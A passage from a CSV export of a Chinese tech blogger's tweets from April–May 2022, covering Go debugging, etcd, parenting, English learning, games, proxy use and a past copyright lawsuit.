07:37:48+00:00,51,3,30,,是不是Github挂掉了？ 我换了三个梯子（美国，日本，香港）都打不开了…… https://t.co/FrZlCntSRS,,https://twitter.com/haoel/status/1530090881616752640\n1916,1530046632045072385,2022-05-27 04:41:58+00:00,0,0,0,,@somehah 是的，网络上下载的盗版，这个片儿上不了电影院。,,https://twitter.com/haoel/status/1530046632045072385\n1917,1529749350527602688,2022-05-26 09:00:41+00:00,104,13,16,,看到1小时20分钟的时候，已经有点坚持不下去了，写了会儿代码，又回来把剩下的看完……结尾还是很不错的……这本来是给中年人看的电影，但是又不想让年轻的观众无聊，所以外挂了这么元素……昨晚看完，今天还意犹未尽，是的，放下自己的执念，勇敢去体会不同的人生，哪怕只是做一块石头…… https://t.co/kQ1QORnVBy,,https://twitter.com/haoel/status/1529749350527602688\n1918,1528703853977145344,2022-05-23 11:46:15+00:00,1359,340,28,,\"BBC 的 English in a minute 是个不错的英语学习的地方。今天的英语学习，让孩子看了下面的两个1分钟的视频：Stop to do  vs Stop doing\nhttps://t.co/hMoAg0CN32 和 Forgot to do vs Forgot doing https://t.co/FihBTEToml 用英文来解释英文，用英文来学习英文，才会更有语感……\",\"[TextLink(text='bbc.co.uk/learningenglis…', url='https://www.bbc.co.uk/learningenglish/english/course/eiam/unit-1/session-5', tcourl='https://t.co/hMoAg0CN32', indices=(90, 113)), TextLink(text='bbc.co.uk/learningenglis…', url='https://www.bbc.co.uk/learningenglish/course/eiam/unit-2/session-40', tcourl='https://t.co/FihBTEToml', indices=(145, 168))]\",https://twitter.com/haoel/status/1528703853977145344\n1919,1528552603034202112,2022-05-23 01:45:14+00:00,3,2,0,,\"@yuer_lee PowerPoint, Figma, Photoshop, AutoCAD, 3DMax …\",,https://twitter.com/haoel/status/1528552603034202112\n1920,1528402772118319105,2022-05-22 15:49:51+00:00,70,5,11,,谢谢大家的解读，但是我还是不知道要表达个什么？不好意思，因为“经济”这个词太大了。我们高速成长就是两个事，一个是南巡后的开放，一个是加入WTO……中国的经济成长有其问题和隐患，比如，高房价，贫富差距大，垄断，各种爆雷……今天所有中国的App都在放贷和带货……所以，实在不知道要表达个啥……,,https://twitter.com/haoel/status/1528402772118319105\n1921,1528283329493053441,2022-05-22 07:55:14+00:00,0,0,0,,@kouzhen 要升初中了……,,https://twitter.com/haoel/status/1528283329493053441\n1922,1528283069773324289,2022-05-22 07:54:12+00:00,88,9,2,,从疫情前一年，以周为粒度的时间安排，在没有计划没有目的的方式做了三年，现在长大了些，要升级成每天有计划有目标的成长了……所以，养个孩子，真的就是自己再重新成长一次……,,https://twitter.com/haoel/status/1528283069773324289\n1923,1528281382140530689,2022-05-22 07:47:30+00:00,0,0,0,,@MagicMirror_cn 这个应该不用了，没有计划没有目的方式已经做了3年了，现在要升级成有计划有目标的成长了……,,https://twitter.com/haoel/status/1528281382140530689\n1924,1528280412027383809,2022-05-22 07:43:38+00:00,493,50,27,,跟孩子一起排个成长计划，除了我要求的英文和数学，还有她自己喜欢的画画、玩PS5/Xbox，看Youtube视频或室外玩。最终达成：每天0.5小时英文，1小时的数学练习（单号）或画画练习（双号）， 2小时游戏+视频+室外，周末各找我学1小时电脑编程（周六）和1小时的设计和绘画软件（周日），先坚持个5年看看…,,https://twitter.com/haoel/status/1528280412027383809\n1925,1528260827286933504,2022-05-22 06:25:49+00:00,1,0,0,,@darklordzzzz 你的心声是什么？,,https://twitter.com/haoel/status/1528260827286933504\n1926,1528256593069895680,2022-05-22 06:09:00+00:00,3,0,0,,@xiaoniuhewo 这篇文章搜的到的啊,,https://twitter.com/haoel/status/1528256593069895680\n1927,1528255758034358272,2022-05-22 06:05:40+00:00,450,31,152,,老实说，小马哥引用的这段话读不懂，因为逻辑非常不顺，不知道要讲啥？主题似乎是他们只关心自己个人利益，不关心大局，但又说“唯一关心的是国家硬核科技，不关心衣住行”。普通民众不就是想生活的更好，没有裁员加班，有更好的服务么？你要让他们关心公司关心国家，也得给个相应的股权和职位啊…… https://t.co/LDNTa5VzYH,,https://twitter.com/haoel/status/1528255758034358272\n1928,1527654366353629185,2022-05-20 14:15:58+00:00,21,0,1,,@tmutoo 同样的经历……握手🤝,,https://twitter.com/haoel/status/1527654366353629185\n1929,1527497549501698048,2022-05-20 03:52:49+00:00,8,1,2,,\"@Huxpro be positive, be patient, and be persistent https://t.co/ElvHrF4oCO\",,https://twitter.com/haoel/status/1527497549501698048\n1930,1527475172457865216,2022-05-20 02:23:54+00:00,104,15,5,,狗头表情包源自2010年某狗主人拍的照片，然后这个表情包在Reddit上被来自4chan的人踢馆洗版，结果，Reddit不但不生气还非常喜欢。后来，有人为了嘲讽比特币，就用这个表情包做了一个狗狗币，结果，这次嘲讽反而让狗狗币成了币圈顶流，市值过百亿，也是够讽刺的……所以，狗头应该算是西方文化了…… https://t.co/YGBcXb66xp,,https://twitter.com/haoel/status/1527475172457865216\n1931,1526902707746787330,2022-05-18 12:29:08+00:00,851,104,63,,用“动态清零”的方式解决软件bug，会是一个很好的方式。一旦发现bug，那个模块或系统的所有开发人员，以及周边“时空伴随”系统的技术团队，全部就地隔离，并限制出入自由，每天都对系统进行测试，对人员进行上岗技能测试，直到连续14天没有测出现bug，才给予解除……🤪,,https://twitter.com/haoel/status/1526902707746787330\n1932,1526358162088919045,2022-05-17 00:25:18+00:00,3,0,0,,@TheFigen @tinyfool,,https://twitter.com/haoel/status/1526358162088919045\n1933,1525877663268671488,2022-05-15 16:35:59+00:00,4,0,1,,@cppiod 不是因为发动战争反人类么……,,https://twitter.com/haoel/status/1525877663268671488\n1934,1525860534674857985,2022-05-15 15:27:55+00:00,51,0,10,,打个FIFA 22的游戏，在游戏里也制裁你…… https://t.co/RLesJZn2tF,,https://twitter.com/haoel/status/1525860534674857985\n1935,1525750020355436550,2022-05-15 08:08:46+00:00,3,0,2,,@erjinxia 与Eat your own dog food对应的 Eat your own cat litter 😂,,https://twitter.com/haoel/status/1525750020355436550\n1936,1525489679721635840,2022-05-14 14:54:16+00:00,0,0,2,,@HeseyWang multiple data centers architecture,,https://twitter.com/haoel/status/1525489679721635840\n1937,1525417126437171200,2022-05-14 10:05:58+00:00,4,0,2,,@nullsimon 酷壳是假的吧😂,,https://twitter.com/haoel/status/1525417126437171200\n1938,1525395015937036288,2022-05-14 08:38:06+00:00,117,19,8,,一个有技术的地图产品……😜,,https://twitter.com/haoel/status/1525395015937036288\n1939,1525393770954428418,2022-05-14 08:33:10+00:00,0,0,2,,@artest_hu1 无人驾驶也偷了吗？,,https://twitter.com/haoel/status/1525393770954428418\n1940,1525391501617836033,2022-05-14 08:24:09+00:00,1,0,1,,@artest_hu1 很多技术是很难偷的，因为你要偷的不是一张图纸，而是一个基础设施加整个技术体系……,,https://twitter.com/haoel/status/1525391501617836033\n1941,1525391314212163584,2022-05-14 08:23:24+00:00,64,6,7,,很多技术是很难偷的，因为你要偷的不是一张图纸，而是一个基础设施加整个技术体系……,,https://twitter.com/haoel/status/1525391314212163584\n1942,1525390216973807617,2022-05-14 08:19:02+00:00,19,0,4,,@Happydayoff4 不知道你有没有听过一句话，技术就是用来创造价值的……,,https://twitter.com/haoel/status/1525390216973807617\n1943,1525387757241049088,2022-05-14 08:09:16+00:00,505,60,71,,总听人说，做产品最难的不是技术，而是价值。其实，你只要看看那些让人类进步或是开启一个时代的产品，无一例外都是靠技术。做产品最难的其实就是在技术！有技术的产品和没有技术的产品，完全是一个在天上和一个在地下的区别。产品其实才是容易复制的，而技术则更最难的……,,https://twitter.com/haoel/status/1525387757241049088\n1944,1525348490389225472,2022-05-14 05:33:14+00:00,0,0,0,,@ghosTM55 @kevinzhow 👌,,https://twitter.com/haoel/status/1525348490389225472\n1945,1525340485308493825,2022-05-14 05:01:25+00:00,35,3,8,,这两天晩上跟 @kevinzhow 在PS5上联机FIFA22对战，竞技性很强！发现FIFA22选曲都很好听，上Youtube Music一搜搜到了，分享给大家：https://t.co/jTw6GVDSdW 另外，有没有PS5的推友一起来开Party对战FIFA的？,\"[TextLink(text='music.youtube.com/playlist?list=…', url='https://music.youtube.com/playlist?list=PLP_LcnuF3YFk7i4h58rHdzuveAmCHW3fC&feature=share', tcourl='https://t.co/jTw6GVDSdW', indices=(81, 104))]\",https://twitter.com/haoel/status/1525340485308493825\n1946,1524544143275425793,2022-05-12 00:17:03+00:00,36,6,0,,\"Thanks, Pantelis! And I got lots of your valuable feedback. I’m looking forward to furthering collaborations that make things easier and better.\",,https://twitter.com/haoel/status/1524544143275425793\n1947,1524007722567438336,2022-05-10 12:45:30+00:00,110,17,8,,\"来，嗑个bash，成为百万富翁……\nhttps://t.co/DPAzXjNzF6\",\"[TextLink(text='youtu.be/19nN9vgcgmU', url='https://youtu.be/19nN9vgcgmU', tcourl='https://t.co/DPAzXjNzF6', indices=(18, 41))]\",https://twitter.com/haoel/status/1524007722567438336\n1948,1523642522261622784,2022-05-09 12:34:19+00:00,2,0,3,,@br9852000 这是什么测试软件,,https://twitter.com/haoel/status/1523642522261622784\n1949,1523537503998734336,2022-05-09 05:37:01+00:00,70,3,7,,参看这篇文章 https://t.co/J0Kq7iUNO3 里面 Go 的error check hell 一节……,\"[TextLink(text='coolshell.cn/articles/21140…', url='https://coolshell.cn/articles/21140.html', tcourl='https://t.co/J0Kq7iUNO3', indices=(7, 30))]\",https://twitter.com/haoel/status/1523537503998734336\n1950,1523536964460290048,2022-05-09 05:34:52+00:00,10,3,0,,@supersu097 @andelf 参看这篇文章：https://t.co/J0Kq7iUNO3 里面提到了从C 到 Java 再到 Go 的err check hell的各种解……看这篇文章不要囫囵吞枣啊……,\"[TextLink(text='coolshell.cn/articles/21140…', url='https://coolshell.cn/articles/21140.html', tcourl='https://t.co/J0Kq7iUNO3', indices=(27, 50))]\",https://twitter.com/haoel/status/1523536964460290048\n1951,1523312575642882048,2022-05-08 14:43:14+00:00,26,0,13,,@wangxiaoshan 为什么不是整栋楼拉走？大家共用一个电梯了呢……,,https://twitter.com/haoel/status/1523312575642882048\n1952,1523137405968023552,2022-05-08 03:07:10+00:00,51,1,17,,前两天日元下跌，于是海外购了在保税仓里的PS5，五一节在玩《神秘海域：盗贼末路》，发现这山好像在哪里见过……今天上XBox，看到了两年前的一个截图，果然一样啊，这个游戏叫《地狱之刃：塞娜的献祭》，2017年发行的，应该是后者抄的前者…… https://t.co/g5vaQpSgUe,,https://twitter.com/haoel/status/1523137405968023552\n1953,1522979208217038848,2022-05-07 16:38:33+00:00,313,47,10,,也许有人会好奇，那时的人真好还会写道歉信……不是这样的，分享一个方法：揪对方的利益链条，这两个人，一个在部队为了职称，另一个是开公司为了申请什么优惠政策，还挂了个清华的在职老师也是为评职称。他们都怕我到相关单位举报……对出版社也一样，干他的发行渠道……这些都是看电影学来的……,,https://twitter.com/haoel/status/1522979208217038848\n1954,1522975203973758977,2022-05-07 16:22:38+00:00,0,0,0,,@pestobasiltoast 肯定是中介广告啊,,https://twitter.com/haoel/status/1522975203973758977\n1955,1522970207941144577,2022-05-07 16:02:47+00:00,22,1,3,,@tu710sna 最后结果：在CSDN和清华大学主页公开道歉一周，赔偿人民币2万元……,,https://twitter.com/haoel/status/1522970207941144577\n1956,1522962490056867840,2022-05-07 15:32:07+00:00,516,29,18,,我明白，他们这样的事见多了，算准了对方会因维权成本过高而知难而退，但他们却不知我这个对这种事从来都不计成本！因为，1）自己的权益自己却不重视的话，就不会再有人重视了。2）如果你软了，对方就更不怕了，以后还干，所谓姑息养奸。3）只有你自己硬了，别人才不敢来欺负你。,,https://twitter.com/haoel/status/1522962490056867840\n1957,1522962488525922305,2022-05-07 15:32:07+00:00,235,12,2,,当时这事本只想让清华和作者书面道歉的。结果清华死活不同意，我就只能告了，为了表示自己要死磕到底，我要打击出版社的利益链条，于是我拿出我两个月的工资请了个好的律师，把清华出版社、新华书店、中关村图书大厦、两本书的作者，五个被告一并告让海淀区人民法院，并以此，引发了些社会关注……,,https://twitter.com/haoel/status/1522962488525922305\n1958,1522956218095923201,2022-05-07 15:07:12+00:00,20,1,0,,@xiaopeng163 我当时是高薪请了律师，一次告了五个被告，从清华，新华书店，中关村书城，两个作者，全告了…，自己在理必须要把事情搞大，自己不重视的话，没有人会重视你的……（2 cents),,https://twitter.com/haoel/status/1522956218095923201\n1959,1522952354139492352,2022-05-07 14:51:50+00:00,1239,152,46,,下午看到推友的著作被盗版到拼多多卖，让我想起多年前的往事，回了个推。孩子看到了让我给她讲讲，于是翻箱倒柜，本来只想找道歉信，居然还找到了张报纸，我都完全忘记了……（P.S. 当时，清华有个编辑太气人，我一怒之下要了10万+的赔偿，那年是个大数目，在今天恐怕要被以敲诈或是寻衅滋事抓了……） https://t.co/lM4Jm5vlTa,,https://twitter.com/haoel/status/1522952354139492352\n1960,1522948341214040064,2022-05-07 14:35:54+00:00,13,0,0,,@YNZRNP @xiaopeng163 传送门：https://t.co/kAMM6hEPlY,\"[TextLink(text='blog.csdn.net/haoel/category…', url='https://blog.csdn.net/haoel/category_206510.html', tcourl='https://t.co/kAMM6hEPlY', indices=(25, 48))]\",https://twitter.com/haoel/status/1522948341214040064\n1961,1522947631793594368,2022-05-07 14:33:05+00:00,155,2,54,,还有一个当年翻墙的上古神器tor，这个不知道今天还有多少人知道……,,https://twitter.com/haoel/status/1522947631793594368\n1962,1522935091034394624,2022-05-07 13:43:15+00:00,19,0,1,,@walawolaxxx @xiaopeng163 这叫什么钓鱼，这叫取证，要发票的。,,https://twitter.com/haoel/status/1522935091034394624\n1963,1522911717776248832,2022-05-07 12:10:22+00:00,2,0,0,,@shell909090 @xiaopeng163 这个在今天真有可能,,https://twitter.com/haoel/status/1522911717776248832\n1964,1522911534300602368,2022-05-07 12:09:38+00:00,13,0,1,,@wangyooo11 @fox202012121 我也是个Architect😂,,https://twitter.com/haoel/status/1522911534300602368\n1965,1522886499389165570,2022-05-07 10:30:09+00:00,1715,285,162,,为了体验最好的产品，浪费了太多的时间和金钱的成本。从简单的代理到VPN到GoAgent到SSH到SS/V2Ray/Gost到Clash……从GAE到Linode到Conoha到到AWS到CN2 GIA到Cloudflare……从电脑到手机到游戏主机……从注册海外账号，折腾PayPal/谷歌Voice/Fi/海外手机号……如果哪天网络好了，我想我是会哭出来的……,,https://twitter.com/haoel/status/1522886499389165570\n1966,1522858561939804166,2022-05-07 08:39:09+00:00,1,0,0,,@AnnaXiao16 大概会是这样…… https://t.co/viRMckcIOj,,https://twitter.com/haoel/status/1522858561939804166\n1967,1522856457456152576,2022-05-07 08:30:47+00:00,2,0,1,,@AnnaXiao16 @Terry_K_Lee_ 嗯，我会截个长图分享出去，包括你的推特信息。,,https://twitter.com/haoel/status/1522856457456152576\n1968,1522855767249883136,2022-05-07 08:28:02+00:00,1,0,1,,@BigBroWatchinMe 那没办法了……,,https://twitter.com/haoel/status/1522855767249883136\n1969,1522855001055318016,2022-05-07 08:25:00+00:00,2,0,1,,@AnnaXiao16 @Terry_K_Lee_ 我可以把你的这个故事分享到别的地方吗？,,https://twitter.com/haoel/status/1522855001055318016\n1970,1522854332269428736,2022-05-07 08:22:20+00:00,52,3,3,,微信群才是企业信息化的起点和终点……,,https://twitter.com/haoel/status/1522854332269428736\n1971,1522853745112932352,2022-05-07 08:20:00+00:00,484,60,126,,北京核酸从之前的隔一天一检，到连续三天，再连续三天，我的小区也没有人来强制检测，基本就是自愿，只有要去写字楼上班才会查，这两天在家，我就不想测了……结果，今天有人要来查了，不是物业，不是街道和居委会，不是疾控，而是学校老师，要家长每天交核酸报告，虽然孩子都不到校了，但依然要要……,,https://twitter.com/haoel/status/1522853745112932352\n1972,1522819591008706560,2022-05-07 06:04:17+00:00,0,0,1,,@strrlthedev 这个也不行！序列化前的结构和反序列化回来的不一样了。要用 time.RFC3339Nano 才行。,,https://twitter.com/haoel/status/1522819591008706560\n1973,1522817810346381312,2022-05-07 05:57:13+00:00,16,3,0,,完整的说明，我写在gist上了，并给了一个演示程序：https://t.co/Obw4e7pv3k,\"[TextLink(text='gist.github.com/haoel/9e97392c…', url='https://gist.github.com/haoel/9e97392c7030a5bd7bb56fc13285a84b', tcourl='https://t.co/Obw4e7pv3k', indices=(26, 49))]\",https://twitter.com/haoel/status/1522817810346381312\n1974,1522801444239204355,2022-05-07 04:52:11+00:00,0,0,0,,@7lemon 实话实说，testify的assert在这个问题表现的更糟糕，真的不如reflect.DeepEqual，你信你自己试试,,https://twitter.com/haoel/status/1522801444239204355\n1975,1522598796479270913,2022-05-06 15:26:56+00:00,0,0,0,,@bzltl 赞，谢谢！我也找到了这个问题！,,https://twitter.com/haoel/status/1522598796479270913\n1976,1522597008116043778,2022-05-06 15:19:49+00:00,75,2,3,,调试了下，找到了原因。Go的time. Now()会设置时间为本地时区，转字符串时，如果有时区就会加上+8的这样的字样，如果是UTC则就不会加。反序列化回来的时候，有时区就会设置，没有时区则设置为nil，这样就导致结构体不一样。解决方案是 time. Now().UTC()，这样在结构中和序列化时时区都为空……,,https://twitter.com/haoel/status/1522597008116043778\n1977,1522518151669239808,2022-05-06 10:06:29+00:00,0,0,1,,@farmer1992 我本地加不加都能跑通,,https://twitter.com/haoel/status/1522518151669239808\n1978,1522515818453422080,2022-05-06 09:57:12+00:00,58,5,6,,为什么在我本地能通过的 go test ./... 在 github action里怎么运行都Failed？在我的macOS/Ubuntu上，在我同事的Arch Linux上都能跑通，但就是无法通过Github Action，这是什么什么？大家有什么好的建议吗？（action的结果在这里：https://t.co/YC2qyJSFzS 代码在work分枝）,\"[TextLink(text='github.com/haoel/easeprob…', url='https://github.com/haoel/easeprobe/runs/6320395263', tcourl='https://t.co/YC2qyJSFzS', indices=(145, 168))]\",https://twitter.com/haoel/status/1522515818453422080\n1979,1522413470066479104,2022-05-06 03:10:30+00:00,1,1,1,,@spongecaptain19 你举一个高质量的例子，我所说的高质量是要成为全世界各大大学的教科书的这种级别的。,,https://twitter.com/haoel/status/1522413470066479104\n1980,1522412796406730752,2022-05-06 03:07:50+00:00,0,0,1,,@hespiel 对啊，头文件里面声明变量，实现函数，这不都是谭浩强那本书里教出来的么……,,https://twitter.com/haoel/status/1522412796406730752\n1981,1522145994154029056,2022-05-05 09:27:39+00:00,1,0,0,,@mind_cache discrod,,https://twitter.com/haoel/status/1522145994154029056\n1982,1522145262101094400,2022-05-05 09:24:45+00:00,112,22,1,,新写一篇小文章：【ETCD的内存问题】https://t.co/hj2l60L2lc 跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但我还是会把整个问题的前因后果说一遍。希望这篇文章不仅仅只是让你看到了一个简单etcd的问题，还能让你有更多的收获……,\"[TextLink(text='coolshell.cn/articles/22242…', url='https://coolshell.cn/articles/22242.html', tcourl='https://t.co/hj2l60L2lc', indices=(19, 42))]\",https://twitter.com/haoel/status/1522145262101094400\n1983,1522055579568549888,2022-05-05 03:28:23+00:00,3,0,1,,@LargestBlockedW @vilicvane 那我对你说 what's wrong with you， 你应该不会介意吧…… https://t.co/VLMjH3ZCef,,https://twitter.com/haoel/status/1522055579568549888\n1984,1522044805777432577,2022-05-05 02:45:34+00:00,120,22,11,,另一个例子，山寨英文教材，误导了多少人……,,https://twitter.com/haoel/status/1522044805777432577\n1985,1522044325772898304,2022-05-05 02:43:40+00:00,4,1,0,,@0x4D2 可能，只有我的专栏会这么写…… https://t.co/9P2ZODwTx5,,https://twitter.com/haoel/status/1522044325772898304\n1986,1521706189708439553,2022-05-04 04:20:02+00:00,0,0,0,,@MHC21839026 好像是周丽华,,https://twitter.com/haoel/status/1521706189708439553\n1987,1521704955752628224,2022-05-04 04:15:08+00:00,1687,292,55,,所以，当我有一天看到外版经典图书的时候，我终于明白了什么叫被困在认识的牢笼……从那天后，我就被深深地改变了，1）远离百度、公众号、知乎、微博等中国互联网，2）只看国外的文章和书籍，3）任何事都要找到正确和权威的知识源，4）不会让我的孩子再受这种无知的“山寨知识”的教育……,,https://twitter.com/haoel/status/1521704955752628224\n1988,1521444386311049216,2022-05-03 10:59:43+00:00,0,0,1,,@YUBIN23549912 @tinyfool 神秘海域……,,https://twitter.com/haoel/status/1521444386311049216\n1989,1521319282210074625,2022-05-03 02:42:36+00:00,18,0,2,,@tinyfool 创业的事儿是个无比大的大坑，永远不可能忙完，而且忙也解决不了问题。,,https://twitter.com/haoel/status/1521319282210074625\n1990,1521317684201222144,2022-05-03 02:36:15+00:00,263,39,7,,马丁叔叔在DDIA中提了一嘴的在线协作的核心能力一一自动冲突合并技术CRDT，在他的YouTube频道里有更深入的讲解 https://t.co/Llkff7quwY，看完过后的一点summary ，分享出来，看看大家有没有批评指正…… https://t.co/boZrOp7XEN,\"[TextLink(text='youtube.com/watch?v=x7drE2…', url='https://www.youtube.com/watch?v=x7drE24geUw', tcourl='https://t.co/Llkff7quwY', indices=(60, 83))]\",https://twitter.com/haoel/status/1521317684201222144\n1991,1521314632975020033,2022-05-03 02:24:07+00:00,4,0,2,,@tinyfool 看书和打游戏中度过,,https://twitter.com/haoel/status/1521314632975020033\n1992,1520973480706985985,2022-05-02 03:48:30+00:00,747,118,25,,前两天在Y站上看Martin Kleppmann 的频道：https://t.co/BbP7QoeyMi？今天上午又重温了老哥的信息量巨大的经典著作，每次读都有新的收获。一方面，每个章节都有一堆引用的论文可以深入研究，另外一方面太羡慕这种强大的归纳总结能力…… https://t.co/eynLnvlqKe,\"[TextLink(text='youtube.com/channel/UClB4K…', url='https://www.youtube.com/channel/UClB4KPy5LkJj1t3SgYVtMOQ', tcourl='https://t.co/BbP7QoeyMi', indices=(29, 52))]\",https://twitter.com/haoel/status/1520973480706985985\n1993,1520786887132139520,2022-05-01 15:27:03+00:00,6,0,1,,@kevinzhow 谢谢陪伴，我这么艺术的游戏，有人陪伴真是很特别……,,https://twitter.com/haoel/status/1520786887132139520\n1994,1520339776066387968,2022-04-30 09:50:23+00:00,0,0,0,,@winguse 我想想，貌似可以,,https://twitter.com/haoel/status/1520339776066387968\n1995,1520287468586643456,2022-04-30 06:22:32+00:00,0,0,1,,@shenjindao 全世界的儿童也点不出这么多吧,,https://twitter.com/haoel/status/1520287468586643456\n1996,1520286163981938690,2022-04-30 06:17:21+00:00,36,10,10,,\"8⃣️儿歌Learning Colors – Colorful Eggs on a Farm - 45.6亿，https://t.co/r5tzWc6Bal\n\n9⃣️流行歌Uptown Funk - 45.4亿 https://t.co/lkKC5Dh5As\n\n🔟儿童动画片Masha and the Bear - 44亿https://t.co/TyOVbCslNn\n\n是不是说，儿童类的才是真正的流行元素……\",\"[TextLink(text='youtu.be/_nAu9D-8srA', url='https://youtu.be/_nAu9D-8srA', tcourl='https://t.co/r5tzWc6Bal', indices=(55, 78)), TextLink(text='youtu.be/OPf0YbXqDm0', url='https://youtu.be/OPf0YbXqDm0', tcourl='https://t.co/lkKC5Dh5As', indices=(106, 129)), TextLink(text='youtu.be/KYniUCGPGLs', url='https://youtu.be/KYniUCGPGLs', tcourl='https://t.co/TyOVbCslNn', indices=(161, 184))]\",https://twitter.com/haoel/status/1520286163981938690\n1997,1520286161976975362,2022-04-30 06:17:21+00:00,31,8,2,,\"接下来的：\n\n4⃣️网红歌 Shape of You - 56亿，https://t.co/SiJBCJYJmE\n\n5⃣️速度与激情的 See You Again - 54亿，https://t.co/RI8yiMhIFR\n\n6⃣️低幼儿歌：Bath Song - 52亿，https://t.co/apBjrUpVJw\n\n7⃣️ 儿童Phonics Song with Two Words - 45.8亿 https://t.co/qbQiZDxN3b\",\"[TextLink(text='youtu.be/JGwWNGJdvx8', url='https://youtu.be/JGwWNGJdvx8', tcourl='https://t.co/SiJBCJYJmE', indices=(33, 56)), TextLink(text='youtu.be/RgKAFK5djSk', url='https://youtu.be/RgKAFK5djSk', tcourl='https://t.co/RI8yiMhIFR', indices=(88, 111)), TextLink(text='youtu.be/WRVsOCh907o', url='https://youtu.be/WRVsOCh907o', tcourl='https://t.co/apBjrUpVJw', indices=(137, 160)), TextLink(text='youtu.be/hq3yfQnllfQ', url='https://youtu.be/hq3yfQnllfQ', tcourl='https://t.co/qbQiZDxN3b', indices=(204, 227))]\",https://twitter.com/haoel/status/1520286161976975362\n1998,1520286160093810688,2022-04-30 06:17:20+00:00,235,50,11,,\"YouTube 上播放量最高的top10视频半数跟儿童有关……\n\n1⃣️儿童歌 Baby Shark Dance - 播放量105亿，我是第一次听，感觉还是很好听的……https://t.co/fiD3xd6Fu9 。\n\n2⃣️流行歌 Despacito - 78亿 https://t.co/61jyk96jvf\n\n3⃣️低幼儿歌：Johny Johny Yes Papa - 63亿  https://t.co/cxOQ68ryX6\",\"[TextLink(text='youtu.be/XqZsoesa55w', url='https://youtu.be/XqZsoesa55w', tcourl='https://t.co/fiD3xd6Fu9', indices=(84, 107)), TextLink(text='youtu.be/kJQP7kiw5Fk', url='https://youtu.be/kJQP7kiw5Fk', tcourl='https://t.co/61jyk96jvf', indices=(134, 157)), TextLink(text='youtu.be/F4tHL8reNCs', url='https://youtu.be/F4tHL8reNCs', tcourl='https://t.co/cxOQ68ryX6', indices=(195, 218))]\",https://twitter.com/haoel/status/1520286160093810688\n1999,1520264458886533120,2022-04-30 04:51:06+00:00,0,0,1,,@winguse 这个恐怕不行，我隐藏的是我的代理服务器得出站流量，不是入站流量，你再想想……😜,,https://twitter.com/haoel/status/1520264458886533120\n2000,1520253062136225792,2022-04-30 04:05:49+00:00,0,0,1,,\"@GGkkdMike @KarajanKing 你们两个吵架时，可以点一下 \"\"replying to...\"\"把我跟tinyfool都取消勾选……谢谢！ https://t.co/5hsKKiztzC\",,https://twitter.com/haoel/status/1520253062136225792\n2001,1520250445322588160,2022-04-30 03:55:25+00:00,2,0,2,,@kcome 不必敏感,,https://twitter.com/haoel/status/1520250445322588160\n2002,1520044115018207238,2022-04-29 14:15:32+00:00,0,0,1,,@greg_corelone 要把App退了重进,,https://twitter.com/haoel/status/1520044115018207238\n2003,1520037534306238464,2022-04-29 13:49:23+00:00,7,0,1,,@franklinzhang85 这个还真没有……,,https://twitter.com/haoel/status/1520037534306238464\n2004,1520036296382574594,2022-04-29 13:44:28+00:00,989,14,58,,才意识到，我这么测试可能傻逼了，把我的梯子全部暴露给了他们……😭😭,,https://twitter.com/haoel/status/1520036296382574594\n2005,1520025756671176704,2022-04-29 13:02:35+00:00,41,1,4,,@franklinzhang85 全是自建,,https://twitter.com/haoel/status/1520025756671176704\n2006,1520024676713385984,2022-04-29 12:58:18+00:00,1539,108,157,,简单测试了一下ip归属地，还是准确的…… https://t.co/BOsvpCILEG,,https://twitter.com/haoel/status/1520024676713385984\n2007,1520017767478403072,2022-04-29 12:30:50+00:00,23,3,4,,\"@nishuang 让我试着来当个哲人一一\n\n被别人强迫的生活，挣扎的痛苦！\n强迫他人与自己一样，心累的痛苦！\n互不强迫各过各的，孤独的痛苦！\n放纵自己躺平生活，麻木的痛苦！\n强迫自己逃离痛苦，无尽的痛苦！\n\n其实，\n人生就是各种痛苦，\n你们都逃避不了，\n只能默默地忍受……\",,https://twitter.com/haoel/status/1520017767478403072\n2008,1519918047372333056,2022-04-29 05:54:35+00:00,25,1,9,,@tinyfool 我也很爱国。但是并认为我们爱国……你不也被封号了……,,https://twitter.com/haoel/status/1519918047372333056\n2009,1519916627055153152,2022-04-29 05:48:57+00:00,1650,336,65,,改个中文版的…… https://t.co/3RyAdwEDuD,,https://twitter.com/haoel/status/1519916627055153152\n2010,1519833797654589440,2022-04-29 00:19:49+00:00,0,0,0,,@lidangzzz @cliffhp 👍🏻,,https://twitter.com/haoel/status/1519833797654589440\n2011,1519679920208695296,2022-04-28 14:08:21+00:00,2,0,4,,@cliffhp @lidangzzz 杆前能不能先确认一下？🤪🤪 https://t.co/do35MxXWMv,,https://twitter.com/haoel/status/1519679920208695296\n2012,1519658982532521985,2022-04-28 12:45:09+00:00,42,3,4,,@lidangzzz hugo,,https://twitter.com/haoel/status/1519658982532521985\n2013,1519540104200523776,2022-04-28 04:52:47+00:00,20,0,2,,@zaobaosg 是这样的闪电回击么？ https://t.co/TY6JWeH76E,,https://twitter.com/haoel/status/1519540104200523776\n2014,1519536336864129024,2022-04-28 04:37:48+00:00,0,0,0,,@EL518067 眼尖,,https://twitter.com/haoel/status/1519536336864129024\n2015,1519508988836016128,2022-04-28 02:49:08+00:00,2,0,0,,@jonden_white Yes…😅,,https://twitter.com/haoel/status/1519508988836016128\n2016,1519508901200375809,2022-04-28 02:48:47+00:00,5,0,0,,\"@V1JSip4gx7wqsrc 双人成行！ it takes two, 年度最佳游戏\",,https://twitter.com/haoel/status/1519508901200375809\n2017,1519481681089941504,2022-04-28 01:00:38+00:00,145,1,22,,听说不上课了，8点半就来家里玩游戏了……😅 https://t.co/biXI8cYpoL,,https://twitter.com/haoel/status/1519481681089941504\n2018,1519474459068887040,2022-04-28 00:31:56+00:00,64,9,10,,Twitter的程序员们，以后你们的需求都会以长度不超过140个字符，且老板在通过社交媒体的方式，发给你们了……（要不你们先把Twitter做成一个jira？）😂😂,,https://twitter.com/haoel/status/1519474459068887040\n2019,1519468300551344128,2022-04-28 00:07:27+00:00,151,6,24,,早上6:00老师就以O(n)的方式通知我们家长停课了……,,https://twitter.com/haoel/status/1519468300551344128\n2020,1519466814186479616,2022-04-28 00:01:33+00:00,0,0,0,,@farmer1992 主动给我看的……,,https://twitter.com/haoel/status/1519466814186479616\n2021,1519465995294834688,2022-04-27 23:58:18+00:00,5,0,1,,@NyehHeher 成年人的认知受到了爆击，是吧……,,https://twitter.com/haoel/status/1519465995294834688\n2022,1519303862787604480,2022-04-27 13:14:02+00:00,8,0,2,,@songma 有可能是想来发展他的党徒……,,https://twitter.com/haoel/status/1519303862787604480\n2023,1519302845589123073,2022-04-27 13:10:00+00:00,4,0,1,,@songma 